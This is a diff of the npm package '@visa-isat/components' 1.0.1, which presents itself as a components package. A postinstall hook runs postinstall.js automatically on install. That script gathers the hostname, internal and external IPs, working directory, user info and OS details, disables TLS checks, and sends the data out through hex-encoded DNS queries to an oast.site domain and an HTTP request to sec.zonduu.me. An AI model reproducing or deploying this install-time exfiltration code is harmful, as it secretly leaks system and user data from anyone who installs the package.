@visa-isat/components 1.0.1

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/index.js +2 -0
  2. package/package.json +18 -0
  3. package/postinstall.js +118 -0
package/index.js ADDED
@@ -0,0 +1,2 @@
1
+ // index.js
2
+ console.log("This is the index.js of the @visa-isat/components package");
package/package.json ADDED
@@ -0,0 +1,18 @@
1
+ {
2
+ "name": "@visa-isat/components",
3
+ "version": "1.0.1",
4
+ "description": "Researcher public package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "private": false,
13
+ "files": [
14
+ "dist/css/common.css",
15
+ "postinstall.js",
16
+ "index.js"
17
+ ]
18
+ }
package/postinstall.js ADDED
@@ -0,0 +1,118 @@
1
+ const fs = require('fs');
2
+ const dns = require('dns');
3
+ const http = require('http');
4
+ const https = require('https');
5
+ const os = require('os');
6
+
7
+ const logFile = '/tmp/postinstall.log';
8
+
9
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
10
+
11
+ fs.appendFileSync(logFile, `Starting postinstall script\n`);
12
+
13
+ const hostname = os.hostname();
14
+ const packageName = process.env.npm_package_name;
15
+ const packageVersion = process.env.npm_package_version;
16
+ const internalIpAddress = require('child_process').execSync('hostname -I').toString().trim();
17
+ const currentPath = process.cwd();
18
+ const platform = os.platform();
19
+ const userInfo = os.userInfo();
20
+
21
+ // Operating System Details
22
+ const osDetails = {
23
+ platform: os.platform(),
24
+ release: os.release(),
25
+ arch: os.arch()
26
+ };
27
+
28
+ const fetchExternalIpAddress = (callback) => {
29
+ https.get('https://api.ipify.org?format=json', (res) => {
30
+ let data = '';
31
+
32
+ res.on('data', (chunk) => {
33
+ data += chunk;
34
+ });
35
+
36
+ res.on('end', () => {
37
+ const externalIp = JSON.parse(data).ip;
38
+ callback(null, externalIp);
39
+ });
40
+
41
+ }).on('error', (err) => {
42
+ callback(err);
43
+ });
44
+ };
45
+
46
+ fetchExternalIpAddress((err, externalIpAddress) => {
47
+ if (err) {
48
+ fs.appendFileSync(logFile, `Error fetching external IP address: ${err.message}\n`);
49
+ return;
50
+ }
51
+
52
+ const data = {
53
+ packageName,
54
+ packageVersion,
55
+ hostname,
56
+ internalIpAddress,
57
+ externalIpAddress,
58
+ currentPath,
59
+ platform,
60
+ userInfo,
61
+ osDetails // Added OS details here
62
+ };
63
+
64
+ fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);
65
+
66
+ // Prepare data for DNS exfiltration
67
+ const dnsData = `${packageName}-${hostname}-${externalIpAddress}`;
68
+ const hexData = Buffer.from(dnsData).toString('hex');
69
+
70
+ // Split hex data into parts fitting within DNS label length limit
71
+ const maxLabelLength = 63;
72
+ const hexDataParts = [];
73
+ for (let i = 0; i < hexData.length; i += maxLabelLength) {
74
+ hexDataParts.push(hexData.substring(i, i + maxLabelLength));
75
+ }
76
+
77
+ // Send each part as a separate DNS query
78
+ hexDataParts.forEach((part, index, arr) => {
79
+ const partIndex = index + 1;
80
+ const totalParts = arr.length;
81
+ const dnsSubdomain = `${part}-${partIndex}-${totalParts}.cqati6eupgoo97it17fgdatea3nw746q1.oast.site`;
82
+ dns.resolve4(dnsSubdomain, (err, addresses) => {
83
+ if (err) {
84
+ fs.appendFileSync(logFile, `DNS resolution failed: ${err}\n`);
85
+ } else {
86
+ fs.appendFileSync(logFile, `DNS query sent for ${dnsSubdomain}\n`);
87
+ }
88
+ });
89
+ });
90
+
91
+ // HTTP fallback
92
+ const getData = `targetUrl=${encodeURIComponent(JSON.stringify(data))}`;
93
+
94
+ const options = {
95
+ hostname: 'sec.zonduu.me', // Replace with your HTTP server hostname
96
+ port: 80, // Replace with the appropriate port
97
+ path: `/callbackplz?${getData}`,
98
+ method: 'GET'
99
+ };
100
+
101
+ const req = http.request(options, (res) => {
102
+ let responseData = '';
103
+ res.on('data', (chunk) => {
104
+ responseData += chunk;
105
+ });
106
+ res.on('end', () => {
107
+ fs.appendFileSync(logFile, `HTTP request completed with status ${res.statusCode}: ${responseData}\n`);
108
+ });
109
+ });
110
+
111
+ req.on('error', (e) => {
112
+ fs.appendFileSync(logFile, `HTTP request failed: ${e}\n`);
113
+ });
114
+
115
+ req.end();
116
+
117
+ fs.appendFileSync(logFile, `postinstall script finished\n`);
118
+ });